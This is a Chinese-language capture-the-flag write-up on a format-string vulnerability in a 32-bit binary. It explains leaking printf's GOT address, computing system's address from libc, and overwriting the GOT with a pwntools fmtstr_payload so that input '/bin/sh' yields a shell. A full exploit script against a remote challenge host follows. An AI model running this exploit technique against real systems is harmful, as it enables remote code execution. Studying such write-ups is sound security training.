Something before
GHOST_URL/format-string-leak-binary-blind-pwn/
在之前学到了格式化串盲打二进制,但是例题中并不能进一步利用。在某次比赛中遇到了FMT的典型利用,趁机补习了下并做了记录。
FMT
利用的逻辑很简单,根据之前的知识点,获取到printf函数的got表地址,然后把这个地址的值改为system函数的地址,在下次循环的时候,输入/bin/sh,则printf(a);实际执行的却是system('/bin/sh')
首先从bin中得到got表信息,之后获取libc信息,可以通过libc库查询,或者爆破..
假如已经拿到了libc,计算libc中printf和system差值。
libc_system = libc.symbols['system']
libc_printf = libc.symbols['printf']
system_addr=got_printaddr - libc_printf + libc_system
print p32(system_addr).encode('hex')
payload = fmtstr_payload(6, {got_print: system_addr})
fmtstr_payload函数,这个函数的作用是用来生成格式化字符串漏洞写内存的payload
上述代码的第一个参数为offset偏移,第二个参数是一个字典,意义是往key的地址,写入value的值,也就是往0x804a014地址写入数据。
我们来看看输出的payload:(parse了一下)
14a00408 15a00408 16a00408 17a00408
%48c
%6$hhn
%105c
%7$hhn
%188c
%8$hhn
%146c
%9$hhn
开头是四个地址,其实是printf的got表地址,覆盖为system的实际地址,实际地址利用%n写入值。
分别在0x804a017及后面的三个地址中写入hex(16+48),hex(16+48+105),hex(16+48+105+188),hex(16+48+105+188+146),其实就是system_addr的值。
exp如下:
# coding=utf-8
from pwn import *
import sys
#context.log_level = "debug"
def fmt(payload):
sh.sendline(payload)
ret=sh.recvline()
sh.recvline()
return ret
elf=ELF('./pwn')
libc = ELF('/lib32/libc.so.6')
sh=remote("106.75.126.184",58579)
sh.recvline()
#off=FmtStr(fmt)
got_print=elf.got['printf']
payload="%8$s.TMP"+p32(got_print)
sh.sendline(payload)
ret=sh.recvline()
print ret[:4]
got_printaddr=u32(ret[:4])
print got_printaddr
print p32(got_printaddr).encode('hex')
libc_system = libc.symbols['system']
libc_printf = libc.symbols['printf']
system_addr=got_printaddr- libc_printf + libc_system
print p32(system_addr).encode('hex')
payload = fmtstr_payload(6, {got_print: system_addr})
sh.sendline(payload)
sh.sendline('/bin/sh\x00')
sh.recvline()
sh.interactive()
attachment
附件 pass 70yq